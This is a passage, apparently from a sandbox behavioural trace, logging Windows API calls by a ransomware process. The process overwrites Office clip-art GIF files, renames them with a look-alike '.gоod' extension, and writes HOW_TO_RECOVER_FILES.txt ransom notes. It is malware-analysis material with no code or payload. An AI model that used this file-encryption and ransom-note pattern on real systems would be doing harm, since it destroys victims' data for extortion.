lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0146.547] ReadFile (in: hFile=0x630, lpBuffer=0x39ddec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x39ddec0*, lpNumberOfBytesRead=0x1f9edca8*=0x653, lpOverlapped=0x0) returned 1 [0147.400] CloseHandle (hObject=0x630) returned 1 [0147.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", lpFilePart=0x0) returned 0x51 [0147.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0147.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.530] GetFileType (hFile=0x808) returned 0x1 [0147.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0147.530] GetFileType (hFile=0x808) returned 0x1 [0147.530] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1653 [0147.530] WriteFile (in: hFile=0x808, lpBuffer=0x3781408*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3781408*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0147.530] CloseHandle (hObject=0x808) returned 1 [0147.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", lpFilePart=0x0) returned 0x51 [0147.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0147.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.530] GetFileType (hFile=0x808) returned 0x1 [0147.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0147.530] GetFileType (hFile=0x808) returned 0x1 [0147.530] ReadFile (in: hFile=0x808, lpBuffer=0x37836e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x37836e0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0147.558] CloseHandle (hObject=0x808) returned 1 [0147.558] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", lpFilePart=0x0) returned 0x51 [0147.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0147.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.558] GetFileType (hFile=0x808) returned 0x1 [0147.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0147.559] GetFileType (hFile=0x808) returned 0x1 [0147.559] WriteFile (in: hFile=0x808, lpBuffer=0x3782420*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3782420*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0147.559] CloseHandle (hObject=0x808) returned 1 [0147.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", lpFilePart=0x0) returned 0x51 [0147.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0147.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0147.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x542b024d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1663)) returned 1 [0147.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0147.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif.gоod")) returned 1 [0147.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", lpFilePart=0x0) returned 0x51 [0147.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0147.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3801c50 | out: lpFileInformation=0x3801c50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110c9494, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x136b)) returned 1 [0147.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0147.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", lpFilePart=0x0) returned 0x51 [0147.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0147.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.560] GetFileType (hFile=0x808) returned 0x1 [0147.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0147.560] GetFileType (hFile=0x808) returned 0x1 [0147.560] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0147.561] ReadFile (in: hFile=0x808, lpBuffer=0x3802098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3802098*, lpNumberOfBytesRead=0x1f9edca8*=0x36b, lpOverlapped=0x0) returned 1 [0147.562] CloseHandle (hObject=0x808) returned 1 [0148.275] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", lpFilePart=0x0) returned 0x51 [0148.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0148.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0148.275] GetFileType (hFile=0x804) returned 0x1 [0148.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0148.276] GetFileType (hFile=0x804) returned 0x1 [0148.276] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x136b [0148.276] WriteFile (in: hFile=0x804, lpBuffer=0x39c7080*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x39c7080*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0148.276] CloseHandle (hObject=0x804) returned 1 [0148.276] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", lpFilePart=0x0) returned 0x51 [0148.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0148.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0148.276] GetFileType (hFile=0x804) returned 0x1 [0148.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0148.276] GetFileType (hFile=0x804) returned 0x1 [0148.276] ReadFile (in: hFile=0x804, lpBuffer=0x39c9358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x39c9358*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0148.374] CloseHandle (hObject=0x804) returned 1 [0148.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", lpFilePart=0x0) returned 0x51 [0148.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0148.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0148.374] GetFileType (hFile=0x804) returned 0x1 [0148.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0148.374] GetFileType (hFile=0x804) returned 0x1 [0148.374] WriteFile (in: hFile=0x804, lpBuffer=0x37221a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x37221a8*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0148.374] CloseHandle (hObject=0x804) returned 1 [0148.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", lpFilePart=0x0) returned 0x51 [0148.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0148.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0148.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54a6fcef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x137b)) returned 1 [0148.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0148.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif.gоod")) returned 1 [0150.036] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", lpFilePart=0x0) returned 0x51 [0150.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0150.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif"), fInfoLevelId=0x0, lpFileInformation=0x376b9e0 | out: lpFileInformation=0x376b9e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4)) returned 1 [0150.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0150.079] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", lpFilePart=0x0) returned 0x51 [0150.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0150.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0150.079] GetFileType (hFile=0x7dc) returned 0x1 [0150.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0150.079] GetFileType (hFile=0x7dc) returned 0x1 [0150.079] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xbc4 [0150.079] ReadFile (in: hFile=0x7dc, lpBuffer=0x376def8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x376def8*, lpNumberOfBytesRead=0x1f9edc08*=0xbc4, lpOverlapped=0x0) returned 1 [0150.080] CloseHandle (hObject=0x7dc) returned 1 [0150.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", lpFilePart=0x0) returned 0x51 [0150.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0150.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0150.107] GetFileType (hFile=0x7dc) returned 0x1 [0150.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0150.107] GetFileType (hFile=0x7dc) returned 0x1 [0150.107] WriteFile (in: hFile=0x7dc, lpBuffer=0x37e90d8*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x37e90d8*, lpNumberOfBytesWritten=0x1f9edb18*=0xbd0, lpOverlapped=0x0) returned 1 [0150.108] CloseHandle (hObject=0x7dc) returned 1 [0150.108] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", lpFilePart=0x0) returned 0x51 [0150.108] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0150.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0150.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x55ae3da9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1 [0150.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0150.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif.gоod")) returned 1 [0150.109] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5d [0150.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0150.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0150.109] GetFileType (hFile=0x7dc) returned 0x1 [0150.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0150.109] GetFileType (hFile=0x7dc) returned 0x1 [0150.110] WriteFile (in: hFile=0x7dc, lpBuffer=0x37ec7e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x37ec7e0*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0150.111] CloseHandle (hObject=0x7dc) returned 1 [0150.111] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0150.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0150.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0152.065] GetFileType (hFile=0x808) returned 0x1 [0152.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0152.065] GetFileType (hFile=0x808) returned 0x1 [0152.066] WriteFile (in: hFile=0x808, lpBuffer=0x3a44aa8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3a44aa8*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0153.095] CloseHandle (hObject=0x808) returned 1 [0153.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.100] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts", lpFilePart=0x0) returned 0x28 [0153.100] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.100] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.100] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3b99ea, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2e3b99ea, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e68e674, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0153.100] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, 